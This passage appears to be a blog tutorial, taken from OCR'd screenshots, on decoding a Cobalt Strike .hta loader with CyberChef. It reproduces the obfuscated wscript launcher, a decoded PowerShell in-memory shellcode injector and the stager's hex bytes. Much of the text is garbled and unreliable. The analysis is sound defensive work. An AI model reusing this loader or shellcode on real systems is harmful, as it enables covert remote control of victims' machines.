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Cobalt Strike Malware Analysis With CyberChef and Emulation -
.HTA Loader Example

By Matthew
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In this post. we will demonstrate a process for decoding a simple .hta loader used to load cobalt strike shellcode.
We will perform initial analysis using a text editor, and use CyberChef to extract embedded shellcode. From here

we will validate the shellcode using an emulator (SpeakEasy) and perform some basic analysis using Ghidra.
Hash: 2c683d112d528b63dfaa’eed140eebc4960fedfad6292c94562fbb4d2364680

Malware Bazaar Link:
Analysis

Analysis can begin by downloading the zip file into a safe virtual machine and unzipping it with the password

infected

This will reveal a .hta file. A .hta file is essentially an html file with an embedded script. Our aim is to locate

and analyse the embedded script.

c683d112d528bk3dfaa7ee0140eebcd960fedfad6292c9456f2fbbad2364680.hta

83d112d528b63dfaa’ee0140eebcd960fedfad6292c9456f2fbb4ad2364680.zip

Since .hta is a text-based format, we can go straight to opening the file inside of a text editor.

Analysis with a Text Editor

Opening the file inside of a text editor will reveal a small piece of obfuscated code followed by a large base64

blob.
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For the purposes of this blog, we don't need to decode the initial pieces as it's safe to assume that it just executes a
PowerShell command containing the base64 blob.

We can tell this by the presence of a PowerShell command and a broken-up wscript.shell . Which is commonly
used to execute commands from javascript.

e — ————————
<script>
tazJiHJvyBxIKidKzcmHKR = "WS";
VoZouSWKcNpnLvl = "crip”;
hyhlgEZiBgaciaJPeNpDraQi = "t.shn;

Wsecript is likely used to execute a powershell
command and the base64 blob

PTBSAHRILLQIPIRRGE = "ell";
gENZFFhoGVbrgs + VoZouSWKCNpnLVA + hyhlgEZiBgaCjaJPrNpDEZQi 4 PTBSdHRILLQIPJAGQE) :
TWXRZUPGVULXXJOVDZUWejvacOsnew Activexobject (gOnZFFhoGvbrgs) ;

NGebviDRMyzcdzWEQARABROVD = “om®;

JLCKOb] 1HOL cndivHQGHEp = md-an;

VYdWjsNKEaSTfEGEXQU = "xe"

= (NGebvf + J1CKOb] iHOicmdivHOGHBhD + ) 5
rmzupgwnxxjcvnr.mjvaco run{’ #windirs\\System32\\' + ckFMnsPAsm + ] /c powershell -w L -C "sv Ki -;sv XP ec;sv s {(gv Ki).value.toString()+(gv l
xP) .value.toString() ) ;powershell (gv s).value.toString()

A ' JABNAFARDORGADOAL ACQATOB AAPQ JWBbAEQADABSAEKADY IgBraGU AL i ACKAXQBWAHUA QRA0BE] ACAAZOBAAHOAZORY
e e e o o e o o o e o e e e L e e

Using the theory that the initial script just executes the base64 blob, we can go straight to decoding the base64.
If the base64 blob does not decode, we can always return to the initial pieces to investigate further.

Decoding the Base64

We can proceed by highlighting the entire base64 blob and copying it into cyberchef, from here we can attempt to
decode it.

i i s s =

-

. G

run{*Suindicay A + * jc powershell -w 1 =C ~av Ki -1av XP ec:sv s ((gv Ki).value.toString()+(gv *P).value.toString())spowershell (gv
s) .value.toString ()
WY

</script>

Copying the base64 content into CyberChef, we can see plaintext with null bytes in-between the characters.

This generally indicates utf-16 encoding, which is very simple to remove with "decode text" or "remove null
bytes"
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Recipe S | Input +oO3I =
\DBATAAS APQAZAC AL gBrAGL DIAL Lo
From Base64 L I LR iy AERAEL - SOBRACHAGQESA
ighabat WABWBIAC, JABEAMIAT 1 o ITAGKA gBLACWALAB: geeacanz
A-Za-28-9+/= * [ Remove non-alphabet chars g8 QASACAAAQ) ABWEBAGUAYWBBACKAD:
GBOACGATEBAAGL AL SACKAXQBWAHUAY g gA QB jACAAZQB4AHQAZQBYAGS
AIAB. QAHQAC ZAEAE 1AGEADABLAFQS ¥ Q BASQE Q 1AIAS Q QAQQ! QACE
Dstnct mode BpAGLAd d d dwBTAHQAY QS QASACH JABBAHIAT
o - - Q QB1AHQAZQBYACKATABL & BBLAGE
QACTADQBZAHYAYWBYAHOAL 1 ACKANQBWAHUAY gBs AGKAYWARAL JACARZ 148
QBTAHMAZQBAAC Q Q ALABKAGUACWEBACWATABLAGKARGBRACANCWEY AGMAL AAGAHUAMDBUAHQAT ABFAGEAL
QBUAHQAKQATACCATWATACQAZWBMACAAPQARAE EAZABKACOAVABS AHAAZOAGAC BABOE 1 AGOAY B LAHT ARABL
ACQATQBQACAAL 1aCAAT] SAGUAT ARG
TAdOA TARwAHgAZ
Null bytes in-between valid text. BiAG K 14 v
-4 1 Tr faw Bytes € LF
Typically this indicates utf-16 e
Output B IC m
and that we need to remove e u] -
null hyles L RULLT AR TR BT ST RTURRRRT LTRT B A RS oF AP AR PR N T G PR TR A PLRRE LA P AN RRARAR LY Y LIFITUS T RPN PLY e
N NI . a1 v r ew : T TN e st sh, N
whdtnhth Sdhwthistdtzheh,h ekt SPADNAN LA Nehehah tRihen Tyt phet, Sttty ALY RNt theh et )N

S [ADNIN LA T p ot P e (S ket P e 132 SN IR )] Pt LN N e St NatthiNet Nttt hetrtint AINn
R ALATSTANR T VAT AR SRR LATAVAT AT AT h e TR A Ll ST AN B AT AR A A TATAY LT AFAL SV STATAY A TN ST AT R TTLE AT AR SRR T Y
WHSSERANCKYSEINZEY, N NTNANEPE Y INA SN At e AR rhet st b NTRANENPREN Y LI phPhatrhat ettt
e, ity dhwhchrtvetaithivetn WPl atghst, b ATt tPNtL ey 1NpA TR e ahdt T ) [ MDA LA T e
PO (4 s e, SR T M) R Rt BRI A e st et Neh ettt hehrtint AINANENPRE Y tmhetmhst
et th (W Tt thWPA et Sdhehshith,h fwtdtinhth Sshortie’ ) fwtudtiehtt Sehohutinh )N G ALY ety SathdhdN -
THYRPNEY Lottt e PO LA A AN NN NNt e AN AN BN - natmats Pt et
SWENRA BN 2N PRt ottt t-tphatst s R P (Bt e [N )N ] N[ E A theh [N JR TR Attt et
AU, OB EY,, WO BN IY, NN X NENEY , HON X OGN, HEK L BNE , KBNS, NEN XY, LRk he S, NB RN 3L, W
24, MENENAY, OB, SENKNSNZY, HENNINAY, NBNRENEY, SN KN NN, NN ONCY, NN XN BNEY, NN 2N, NN LY
LB BRDY, BN TN, N 2N BN, B A, B b, N B A, h B 26, BN 3U 1, LB A, heta 31N,
LAPRTRT-RWRT: SRR AT LWL L LT AW SULT AP RPRT- LV et VR P LT AP APRT- LT AP LT R AP AT LT AP A TR R pEAT-LE ST 1Y
KB, VBN, LB T, B e, N PN, SO SN, NN BT, O B, HEN SN 2N, a1 heh e
FHBN, NN, RO BN N, NN LY, NN, SO BN B, N AN R, N TR, LN BN, O N, N T

BAK|

STEP

By adding a "remove null bytes" into the recipe, we can obtain the decoded content which looks like a PowerShell

script.
Recipe omd Input +DO=ad=
~
TAARACQATQBQACAAPQAGACEA — A
T & o Qs §80ACH: § 8
From Base6d © DA o o QBIACAAZQR 148 Y AFYASQBYAHONSOBRAGHARQBSAG
Alohsbet WAbWE I ACEASQBUAHQAUABBAHIALS 1 TaGkAeghl ACWATAB 1AGK AbEBBACAAT
A-Z2-20-94/= * [ Remove non-alphabet chars g8 ZQAs ACAAARER » TAbWBAAGUAYWBAACKAOWBLAEQALAB SAEKALQBW
gBAACAT Q] g AL 1 ACKAXOBWAHL 3 ACAAZQBAAHQAZQBYAGA
ATABIAGAAAABQAHOA cgAGAEWAE g LAGEAHAR 1AFQARABYAGUAYOBKAC GASQEUAH g AZQERAGQAQRERAHQACE
O strict mode d d d h j QAN A
2 gAEKADg Q81 AHQAZQBY ACHATABIAGKAD gBLAGER
dABPAGBADEBGAGHAYQBNAHHALAABAEKADEBOAF AAJABYACAABABWAF QA IAGOACABVAHTACAA
Remove null bytes @ n OACL ¥ iac En R JACRAZ TAB
o A1 (BOACWATABL AACHByAGHALAA IQATABIACBA
QBUAHQAKQATACCATWATACQAZWBMACAAPQAGAEEATABKACRAVABS AHAATQAGACRADQB 1 AGRAY B 1 AHT ARAB] AGY ASQBUAGK ACABPAGBADEAR
ACQATQBQACAALQ 1AcA ATgABAC 1AGUATABXAGK AbgAz ADTARGBIAGAAYWBBAGK
I Q AdQa QEBSAHQATQBLAFBAXQA Qg ZQBbAFGAXQAKAGEATGARADBAT AAKANGAZE
BiAC v
- GTM T 1 Tr Raw Bytes ¢ LF
Dutpat BDm::

$MPm = '$4P = '"[D11Import("kernel32.d11")]public static extern IntPtr Virtualalloc(IntPtr lpAddress, uint

dwSize, uint flallocationType, uint flProtect);[DllImport(“kernel32.dll”)]public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint e, IntPtr 1p! , IntPtr 1o , uint
dwCreationFlags, IntPtr lpThreadld);[DllImport(“msvert.dll)]public static extern IntPtr memset{IntPtr
dest, uint sre, uint count);'';$gL = Add-Type -memberDefinition $MP -Name "Win32" -namespace
Win32Functions -passthru;[Byte[]]);[Byte[]]san =

Brfc,Bxed, BxB9, 6x00, 0x00, 0x00, Bx60, 0x89, BxeS,0x31, Oxd2, Ox64, OxBb, 8x52, 0x30, 0x8b, Bx52, Bxdc, OxBb, 0x52, Ox14,0x
8b,@x72,8x28, 8xaf, 8xb7,@xda,8x26,8x31, 8xFFf,Bx31,8xcl, Bxac, Bx3c, Bx61,8x7c,8x82, Bx2c, Bx28, Bxcl, Bxcf, Bxad , Bx81
»8xc7,Bxe2,0xF0,0x52,0x57,0xBb,0%52,0x10, 8x8b, %42, 8x 3¢, Bx01,8xd@, OxEb,@x40,0x78, Bx85,8xc0, 8474, 8x4a,0x01,0
xd8, 8x58, Bx8b, Bx48, Bx18, 0x8b, 8x58,0x20,8x81, Bxd3, Bxe3, Bx3c,Bx49,8x8b, Bx34, BxBb, 8x81, Bxd6 , Bx31, 8xFF,8x31,8xc
8,0xac, Bxcl, Oxef, Bx0d, Bx01,8xc7, Bx38, Bxe@, 0x75, BxF4, Bx83,8%7d,BxFB, Bx3b, 8x7d, Bx24,8x75,0xe2, BX5E, BxBb, Bx58,
©x24,0x81, 8xd3, Bx66, 8x8b, BxBc, Bxdb, 8xBb, @x58,8x1c,8x01, xd3, xBb, 8xB4, BxBb, 8x01, 8xd0, BxB3, 844, 0x24, 0x24,8x
5b,@x5b, 8461, 859, @x5a, 8451, 8xFF, Bxed, Bx58, 0x5F, 0x5a, 0x8b, 012, Bxeb, @x86, 8x5d, Bx68, 0x33, 0x32, 0400, 2400, Bx68
L8x77,0x73,0x32,0x5F, Bx 54, Ox68, Oxdc, Ox77, Bx 26, Bx@7 , BxFF, DxdS, 0xb8, x99, 0x01, 0x00, 0x00, 0x29, Bxcd, Bx54,0x50,0
6B, 8x20,8x80,8x6b,0x00, @xFF, 0xd5,@x50,0x50,0x52, x50, Bx48, x50, @x48, Ox 50, X6, Dxea, Bxaf , Oxdf , Bxed, 0xff Bxd

5,0x37,0x6a, %05, 0x68, Bx33, 0x4F, Bx31, Oxae, 0X68, 0x02, 0x09, x01, Oxbb, 8x89, Oxe6, x6a, 0x10, 0%56, 0x57, Bx68, 0x39,
STEP BAKE oo Bake | PYSs9%74,8X61,0xFF, 0405, 085, 8¢8, 0573, 0X0C, OXFF, @xde, GX08, OX75, Oxec, BXEE, 8D, €XDS, X832, 0X56, BxFF, 6xd5, 0%
u

The use of "decode text" and "utf-16" would also have worked fine.
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Recipe Bma Input + 0Oz 0 =

- e JABNAFAABQAGADBATAANACQATQBQACAAPQAGACCATWE BAEQADABSAEKABQBWAGB AL gBRAC GAT gBrAGUACEBUAGLUADAAZADIAL gBKAGWABAA ™
rom Baset4 LACKAXQB: Y gAHMAGAB QB IACAAZQBAAHQAZQBYAGAATAR i BARAF 4qBh
Alghabet wAbWEJ AC GASQBUAHQALABBAHTATABSAHAA gB1 \AGQAWBTAGKAREBLACWATAB LAGKAbEBRACAAT
e 30-34/= - Remove non-alphabet chars - B HAOAOE: AT OASACANAOESAC T AL EBABIAYWEAREIN AEKALOS
AGBACEBAACEATgBrAGLACERUAGL TAL, § ACKAXOBWAHUAY B JACAR
ATABIAGH Q BBLAGEAdABLAFQAaABY fQBKACEASQI Q4 TAB3AHA Qo QAQQBRAHQACE
D Strict mode BpAGIAMQ) j 1
EEA Q AAGAE kAL y Q8y QB 1AHQNZQEYACWATABL BOACAAZS gB1AGEA
T GAEKADEE! " AdAA
Decods text Q n GACIABQ: 1y & AC] ABSAGKATWAGAN 1 ACAAZQBAAHQAZQBYAGIATABIAGIAABQAH
JABBAHIATABKAGUACWBRACWATABLAGKAD AAgAHL IABjAGBAD
Encodina QBUAHQAKQATAC c ATWATACQATWBMAC) ABkAC AgACEABQBlAGEAYgBlAHIARABLAGYAaQBUAGKAdABPAGEAbEAE
UTF-16LE (1200) ACQATQBOACAALQBOAGEALOB LACAATRBXAGKAD EAZADTAT gARACOAD EBhAGRAZOB ZAHAAYQB JAGUA ARgBLAGAAVWBBAGK
LAkt TAdQA’ (QATAF: BARADBATAAWAHEAZE
BIACWAMABAAGUADAAS ADARE ARSADKAL. il 1A ¥
- 6704 = 1 TFr Raw Bytes 4 LF
-
Null bytes have been removed T B0®:
using "decode text + utf-16" $MPm = '$MP = ''[D1lImport{"kernel32.d11")]public static extern IntPtr Virtualalloc(IntPtr lpAddress, uint | °

dwsize, uint flAlloeationType, uint flProtect);[DllImport("kernel32.dll”)]public static extern IntPtr
CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint
dwcreatienFlags, IntPtr lpThreadld);[Dllimport(“msvert.dll”)]public static extern IntPtr memset{IntPtr
dest, uint src, uint count);'';$gEL = Add-Type -memberDefinition $MP -Name "Win32" -namespace
win32Funetions -passthru;(Byte[]]; [Byte[]]san =

URTE, URES, DAY, D00, OR00, UR0W, URGY, X0y, UXES, BRs 1, Und 2, URGs, OREE, N5 2, URSW, UnEE, UNG2, ORUC, ORBD, UX5 2, ORI,
8b,@x72,@x28,0x8F , Bxb7, Oxda, Bx26, 8x31, BxFF, Bx31, Bxce, Bxac, Bx3c, Bx61, Ox7c, Bx02, Bx2c, Bx20, Bxcl, OxcF, Bxd, Bxe1
,Bxc7, xe2, BxFB,Bx52,8x57, BxED, Bx52,8x18,8x8b, 8x42, Bx3c, @x01, 008, Bx8b, Bx48, 878, BX85, Bxc0, Bx74, Oxda, BxB1,0
x0@,8x50, 0x8b , Bx48, 8x18, 8x8b, 8x58, 0x 28, 8x01, Oxd3 , Bxed, @x3c, Bx49,8xBb, Bx34, BxBb, Ox@1,8xd6, Bx31, OxFF, Bx31, Bxc
,@xac,0xcl, 0xcf, Ox8d, Bx01,Bxc7, Bx38, Oxel, @x75,0xF4, Bx83,0x7d, 0xFB, @x3b, 0x7d, 8424, 0x75, Oxe2, 0x58, Bx8b, Bx58,
8x24,8x01,0xd3, 8x66, 0xBb, BxBc, Bxdb, Bx8b, Bx58, x1c,8xB1,8xd3, BxBb, Bx@4, Bx8b,0x81, Bxd0, BxB3, Bx44,8x24, Bx24, 8x
5b,@x5b,@x61, 0559, 8459, Ox51, 8xFF, 0%ed, 0x58, Bx5F, 05, @x8b, 0x12, Bxeb, 0x86, x5, Bx68, 0433, @x32, 0x00, 9%09, Ox6E
,8x77,8x73, 8x32,0x5F, 0554, Bx68, Oxdc, 0x77,0x26,8x07, 8xFF, Bxd5, OxbS, 0x99, 0x01, 0500, 8x00, 0529, Bxcd, 0x54, 0x58,0
X68,0x29, 8x88 , Bx6h,Bx00 0, 8xdS,Bx50,8%50,0%50 , 8x58,@x48, BxSE, 040, 0x50, BXEE , Oxea, BXeF, Oxdf, Bxed , BxFF  Bxd

A m 5,0x97,0x62,0x85, 8168, 8x33,0x4f, 0x31, Oxae, 0x68,0x02, 0x00, Bx01, Bxbb, BxBD, 0xe6, Bx6a, 0x10,8x56,0%57 068, 0x99,

"Remove null byte" also works
well.

Either of these options will result in a decoded powershell script, which we can highlight and copy into a new text

editor window.

- e P —— L LT
SMPm = 'GMP ''[D11T 1e132.d11") Jpublic static extern jalAlloc{IntPtr iress, uint dwSize, uint
flAllocationType, uint f1P zt) ; [Dl1lImport ("kernel32.dl1l™) ] puk extern IntP ateThread (IntPtr
lpThreadAttributes, uint rtAddress Int ameter, uint tionFlags IntPtr

tackSize, IntPtr lpS

11") Jpublic s
132" -namespac
3, 0xeb,0x31,(

, uint count);"'';SgL Adi

'hreadId) ; (D11Img
-memberDefinition 3
)xe8, 0x89, 0x00, 0x00,
da,0x26, 03

0x3
x3b, 0x7d
9,0x44,
0x77,0

9, 0x5a, 0x51
,0x77,0%26

+0x5b, 0x5b
0x5F, 0x54, 0x

»0x50, 050, 05
00, 0x01, 0xb)

), 0x40, 0x50,

xb5,

SmM. ToInt32 () +3Bw) ,

([IntPtr]

owed \h

Senv:SystemRoot + "'\:

Analysis of The PowerShell Script

Sys.tem.Convert] ::ToBase64String ([System. Text.Enceding]
ows PowerShelllvl. 0\p

0x68, 0x33, 0x
,0x0c, 0x{

x02, 0% -
93,0%53,0
;1f (SaN.

)xad, 0x53,
i ,Oxec,
)x40) ; for
aw], 1)1:

nicode.GetBytes ($MPm) ) : Spq =

wershell";iex "& $Jr $pg

With the PowerShell script now placed into a text editor, we can go ahead and scan for keywords or anything that

may indicate where we can go next.

For me, there are two primary things that stand out. That is the large blob of hex bytes in the middle of the script,
as well as numerous references to api's that can be used to allocate (VirtualAlloc), write (memset) and execute

(CreateThread) something in memory.
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new 11 )

VirtualAlloc(

$MPm = 'OMP -

" tern IntPtr] ntP s, uint dwSize, uint 1
flAllocationType,| Memory allocation + Thread Creation - Something is |) Jpublic staCic extern IntPtr|CreateThread|IntPtr
1pThreadAttribute being executed, likely the hex blob

+ IntPtr lpParameter, uint dwCreationFlags, IntPtr

lpThreadId); [D11 n"PtIntPtr dest, uint srec, uint eount);'':;$gL = Add-Type
—mepberDefinition SMP _Name “Qip3ow _p MinioFupetione —ngccthyy - [Ruball] - IRutell15oN o

0xfc, 0xed, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, Oxe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 028, 0x0f, 0
xb7,0x4a,0x26,0x31,0x£f£f,0x31, 0xc0, Oxac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, Oxcl, Oxcf, Ox0d, 0x01,0xc7, Oxe2, 0x£f0, 0x52, 0x57, Ox8b, 0x52,0x
10,0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, O0xc0, 0x74, Oxd4a, 0x01, 0xd0, 0x50, Ox8b, O0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, Oxe3, Ox3
c, 0x49, 0x8b, 0x34, 0x8b, 0x01, Oxd6, 0x31, Oxff, 0x31, OxcO, Oxac, Oxcl, Oxcf, 0x0d, 0x01, O0xcT, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0x£8, 0x3b, Ox7d
,0x24,0x75,0xe2,0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, Oxd3, 0x8b, 0x04, 0x8b, 0x01, Oxd0, 0x89,0x44,
0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, O0x£f, Oxel, O0x58, 0x5f, 0x5a, 0x8b, 0x12, Oxeb, 0x86, 0x5d, 0x68, 0x33, 0x32, 0x00, Ox00, Ox68, 0x77, 0

%73, 0x32, 0x5F, 0x54, 0x68, Oxde 077 Ov2E 007 NwFF NvdS Nrhd (ean 00l Oed0, 0x00,0x29, 0xcd, 0x54, 0x50, 0x68, 0x29, 0x80, 0x6b, 0x00, 0x
££f,0xd5, 0x50, 0x50, 0x50, 0x § D, 0xff,0xd5,0x97, 0x6a, 0x05, 0x68, 0x33, 0x4f, 0x31, Oxae, O0x6
&, 0x02, 0x00, 0x01, Oxbb, 0x8 Blob of hex bytes, too short to be a pefexe file. 0x61, 0xE£, 0xd5, 0x85, 0xc0, 0x74, 0x0c, 0x££, Oxde, 0x08, 0x75
. Oxec,0x68,0x£f0, 0xb5, 0xa2 Px68,0x02, 0xd9, 0xcB, 0x5f, 0xff, O0xd5, 0xBb, 0x36, 0x6a, 0x40,
0x68, 0x00, 010, 0x00, 0%00, Possibly Shellcode? d5, 0%93, 0x53, 0x6a, 000, 0x56, 0x53, 0x57, 0X68, 002, 0xd9, 0
xc8, 0x5E, 0x££, 0xd5, 0x01, 0 1000; if ($aN.Length -gt 0x1000) {$Ud =
$aN.Length} ; SmM=5gL: :VirtualAlloc (0, 0x1000, $Ud, 0x40) ; for (SBw=0;$Bw -le ($SaN.Length-1);$Bw++)

gL:imemse n L doln +5Bw]), =sal W], 1}].'SgL::CreateThread{U,U,m.U,U,UJ,‘tar [;)lg'l:art-slee_p bUT ;m[_

System.Convert] : : ToBase64String ( [System.Text.Encoding] : :Unicode.GetBytes ($MPm)) ;$pq = "-cc ";if ([IntPtr)::Size =-eq 9){$Jr =
Senv:SystemRoot + "\syswow64\WindowsPowerShell\vl.0\powershell";iex "& SJr $pg $cF"}else{;iex "& powershell Spq $cF";}|

There are a few small things at the bottom of the script but these aren't as important. The script sleeps
for 60 seconds and appears to attempt to switch to a 64 bit version of Powershell if the initial script

fails.
For now, let's go on the assumption that the hex bytes contain something that is going to be executed.
Decoding The Hex Bytes Using CyberChef
To analyse the hex bytes, we can copy them out and try to decode them using CyberChef.

We can do that by copying out the following bytes and moving them to CyberChef.

Bedoew 11 | LR

$MPm = 'SMP = '’ [DllImport("kernel32.dl1")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint ‘
flAllocationType, uint flProtect); [D11Import ("kernel32.d11")]public static extern IntPtr CreateThread(IntPtr
lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPt

1pThreadld); [D11Import ("msvert.dll")]Jpublic static extern IntPtr memset (IntPtr dest, uint src, uint count);"';$gL = Add-Type
-memberDefinition $MP -Name "Win32" -namespace Win32Functions -passthru; [Byte[]]: [Byte[]]S$aN =

;5Ud = 0x1000;if ($aN.Length -gt 0x1000) ($Ud =
SaN.Length}; $mM=$gL: :VirtualAlloc (0, 0x1000, SUd, 0x40) ; for (SBw=0;$Bw -le ($aN.Length-1) ; $Bwi+)
{§gL: :memset ([IntPtr] ($mM.ToInt32 () +$Bw), $aN[$Bwl, 1)};%$gL::CreateThread(0,0,$mM,0,0,0);for (;){Start-Sleep 60};"';$cF = [
System.Convert] : :ToBase64String { [System.Text.Encoding] : :Unicode .GetBytes ($MPm) ) ;$pg = "-ec ";if ([IntPtr]::Size -eq #){$Jr =
Senv:SystemRoot + "\syswowb4\WindowsPowerShell\wl.O\powershell";iex "& $Jr Spg ScF"lelsei;iex "& powershell Spg $cF";}

Once copied, the bytes can be decoded with a simple "from hex" operation. In this case the commas , and

were automatically recognized.
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Recipe BmE nput +Os]dm

8xfe,Buel,8xB9, Bx08, Bx00, 8x80 , Bx68, 0x89,8xe5, Bx31,8xd2,8x64, Bxdb,8x52,8x38, 8x8b,8x52, BxBc , Bx8b,0x52 , Bx14, Bx8b
From Hex omn ,8x72,8x28, Bx0F, Bxb7, Bxda, Bx26, Bx31, BN FF, Bx31, Bxcd, Bxac, Bx3c, Bx61, Bx7c, BxB2, Bx2c, Bx28, Bxc], BcF, BxBd, Bx81, Bxc
7,8xe2,0xf8,Bx52, 8x57, 0x8b, 8x52,8x18, Bx8b, Bx42,8x3c, 8x81, Oxd@, Bx8b, Bx4@, @x78,8x85, 0xcd, 8x74,8x4a, Bx01, BxdB, Bx
50,8x8b,0x48, 0418, @x8h, Ox58, 020, X081, @xd3 , 0xe3 , OX3c,@xa0, B8, O34, 0xEh, 0x01, Oxd6, @x31, 0xFF, Ox31,0xed, Bxac, @
xel,Bxcf, Bxed, Bu01,8xc7 , 8x38, Oxed, 0x75, BxF4,8x03,0x7d, BxFE, Ox3b, 0x7d, 0x24,8x75 ,Bxel, Ox58, 0xBb, Bx58, Ox24, 001,
@xd3, 8x66,8x8b, Bxdc, Bxdb, 0x8b, Bx58, Bxlc,8x81, Bxd3,8xBb,0x84, Bx8b, 0x01,8xd0, Bx83, 0xdd, Bx24, 8x24,8x5h, BxSh, Bx61
850,850, 8x51, 0xFf, Bxed, @x5E, Bx5F, Bx5a, BxEh, 0x12, Bxeb,0x86 , 8x5d, @x68,0%33, Bx32, 8400, 0%00, 0x68, 8x77,0%73, 843
2,8x5F, 854, Bx68, Bxdc, Bx77, Bx28, 8x07, BxFf, BxdS, BxbB, Bx38, Bx01, Bx08, 8x82, Bx23, Bxcé, Bx54, Ox58, B8, Bx29, BxB8, Bx
6b,8x80,8xFF, 0%d5, 8x50, BX58, Bx58, 058, 0x48, BX58, 848, BX58, Bx68, Oxaa, BxOF , Bxdf, 8%eB, BXFF,BXdS, 07, 8x63,8x95,0
68,0x33, 844, Bx31,0x0e, 0468, 0x02, 0200, 0401, Oxbb, 089, Oxe6, 8x6a 010, Bx56, 8457, x6E, 0x99, 8xa5 , 8x74, OxEL, BxFF,
8xd5, Bx85, X0, Bx74, BxBC, BxFF, Bxde, BxBE, 0x75, Bxec, BXE8, BxFO, BxbS, Bxa2,Bx56, BxFF,0xd5, Bx6a, BxBO, OxEa, Bx84, Bx56
L8X57,8x68, 8x92, 009, BxcB, BxSF, BxFf, Bxd5, Bx8b, 8x36, Bx6a, Bx40, Bx6E, 0x00, 819, 8X00, BxP0, Bx56, 8x6a, 8x09, 0x68, x5
B, 8xad,8x53, Bxe, OxFf, 0xd5, Bx93, 8x53, Bxba, Ox08, 056, Bx53, Bx57, Bx6E, Bx02, Oxd9, BxcB, Bx5F, BxFF, Bxd5, Bx01, Bxc3, Bx
29, BxcE , Ox85, BXF6, 8x75, Bxec, @xc3

LT Y Tr B Bytes 41 LE
Bytes can be decoded with "from q
hex". Which should automatically Output BD®C
recognize the ",0x" and decode

accordingly

et 210D RBRY oRN (- J8171A<a |, ATVNCABRWAR B BB At TNBPaHA e K WOR< T4 0151 A-AT S WCBALE" Je; Yudd
XEnOF e e Gets e Do DS [aYZQUAX_Zo" e 1h32% Nhws2_ThLwd i, « ' JATPR) ok jOPPPPERERFhEBaDs I h301%h" 2§ Vwh
<¥taybeAt: N uihdugyy W IE 0+ 6IBHY N YV S NS B0+ S5 VSR DE_idhA ) A« 6uik

We can also see that the although the content was "decoded", it still doesn't look good. It looks like a blob of junk
that failed to decode.

LAST BUNG; ¢ MONIIS 390 - VESION 1U IS NETe: Keao anout e new Teatures nere UPNONs ®&  ADOUL/ SUPPOTT g

Recipe BEE nput + O3 W=

() §  9xFe,04e8,0x89,0400,0400, 8400, 0460, 0589, BueS, Ox31, 8d2, 0454, 0B, 852, 0430, 8xE0, 0452, Bx0c, 0xEb, 052, 0414, OxEb
,8x72,8x28,8x0F, Oxb7, Bxda, 8x26, w31, BxFF, Bx31, Bxc, Bxac, Bx3c, Bx61, Bx7c, BxO2, Ox2c, Bx20, Bxcl, Bxcf, Bxad, Bx81, Bxc
7,8xe2,0x78,Bx52, 8x57, OxBb,Bx52, X180, @xED, Bx42, Bx3¢, Bx81, BXd8, Bx8b, 0x48, BX78, Bx85, OXcO,BX74, Bxda , @x01,8xd0, BX
58,0x8b, 8x48, Bx18,8x8b, Bx58, 0420, 0x01, 0xd3, Axe3, Bx3c, Bx49, 048, 0x34, 0x8b, Ax01, Bxd6, Bx31, OxfF, 0431, 0x¢0, Bxac, @
xc1,8xcf, 0xdd, 0x01, Bxc7,0x38, 0xe , Bx75, Bxf4,0x83, Bx7d, BxF8, 0x3b, Bx7d, 8x24, @x75, Bxe2, 8x58, Bx8b, Bx5E, 0x24, Bxe1,
@xd3,0x66,0x8b, Ox8c,@x4b, Bx8b, Ox58, Ox1c, 8xB1,8xd3, Ox8b, Bx@4, BxBb, Bx01, Bxd0, BxB9, Bxd4, Bx24,8x24, Bx5b, Bx5b, BXE1
,@x59,8x5a,0451, @xFF, 0xe®, 8158, 0x5F, Bx5a, 0x8b, @x12, @xeb, 0x86, 0x5d, @x68, 8x33, 0x32, 0409, 8102, 0x68,8x77,0x73, 8x3
2,8x5F,8x54, 8x68, Bxdc, BxT7,8x26, 8x87 , BxFF, BxdS, BxbB, Bx58, BxB1, Bx80, Bx08,8x29, Bxcd, Bx54,8x50, Bx68, Bx29, Bx88, Bx
6b,@x00, BxFf, Bxd5, Ox50, BX58, BX58, Bx58, Bx40, 8x58, 8x4B, x50, Ox68, Bxea , Bx0F , OxdF,dxed, BxFf, Bxd5, 0x57,8x6a, 8405, 0
68,033,054, 0531, Oxae, Ox68, 0502, 8x0Q, Ox01,0xbb, Bx83, Bxe6, 0x6a, 8x10,8x56, @x57, 0x68, 0x59, Bxal , 0x74, 0x61, 8xFF,
@xds,0x85,8xc8,8x74,8x8c , Bxff,Bxde,0x08,Bx75, Bxec,8x68, 8xF0, BxbS, Bxa2, Bx56 ,0xfF, BxdS , Bx6a,8x00, Ox6a, BxB4, Bx56
,@x57,8x68, 8102, Bxd9, OxcE, Bx5F , BuFF, Bxd5, BxBb, Bx36,BxEa, 0x40, Ox68, Bx60, Bx10, 0x00, 0xB0 , BXSE , Bx6a, Bx20, BX6E, 85
8,8xa4, 0x53, 8xe5, BxFf, @xdS,@x93, 053, Bx6a, Bx08, BX56, 0x53,8x57, BxE8, 0x02, 8xd9, BxcB, x5T,Bxf T, BxdS, Bx01,8xc3,Bx
29,8xc6,8x85, 0xf6,8x75, Bxec, Oxc3

w182 T 1

Tr Raw Bytes 4= UF

Ot ] i

., ALWCEIRWsRN+BCUDsExsAtINDPoH s X WOE<Tod s W1 f1h=A + " CBAUG"
s 2_ThLwB 53 %% JATPh) « kN FOPPPPEPEPhE ™ RaFD+
s¥tagdeht N uindpgvidi Juwh DE_jde63en Vi hxrsiEe s vsihOE_jbnk) £e8uil

This doesn't look nice, so we need to
validate and test that it's shellcode

Validating ShellCode With CyberChef

